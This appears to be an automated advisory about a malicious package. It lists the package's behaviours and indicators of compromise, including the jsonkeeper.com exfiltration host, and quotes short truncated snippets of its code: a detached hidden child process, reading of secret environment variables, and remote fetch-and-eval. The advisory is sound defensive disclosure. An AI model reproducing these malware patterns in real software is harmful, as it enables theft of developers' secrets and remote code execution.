GCVE-110-OSM-2026-5386

Malicious package detected. Behaviors: data exfiltration, code execution, network activity, obfuscated code. Entrypoint: index.js (main: index.js) Exfil: jsonkeeper.com (custom-c2, recovery: decoded in lib/caller.js) Payload: lib/caller.js Key findings: - Stealth Background Process Spawning in index.js: "spawn("node", [script, JSON.stringify(args)], { detached: true, stdio: "..." - Environment Variable Exfiltration in lib/caller.js: "process.env.DEV_SECRET_KEY; const v = process.env.DEV_SECRET_VALUE; let ret..." - Global Variable Shadowing in lib/caller.js: "const process = {" - Fetch and Eval/Exec in lib/caller.js: "axios.get(src, { headers: { [k]: v } })).data.cookie; const handler = new ..." - Decoded Base64 Content in lib/const.js IOCs: - urls: http://192.168.1.42:9200, https://jsonkeeper.com/b/ZK45J - domains: jsonkeeper.com - payloadFileHash: f7742e90330488ccd817c34f0657041d78f5e1d1660e0a55c8c35fe1133bc345 Decoded/deobfuscated IOCs: - urls: https://jsonkeeper.com/b/ZK45J - domains: jsonkeeper.com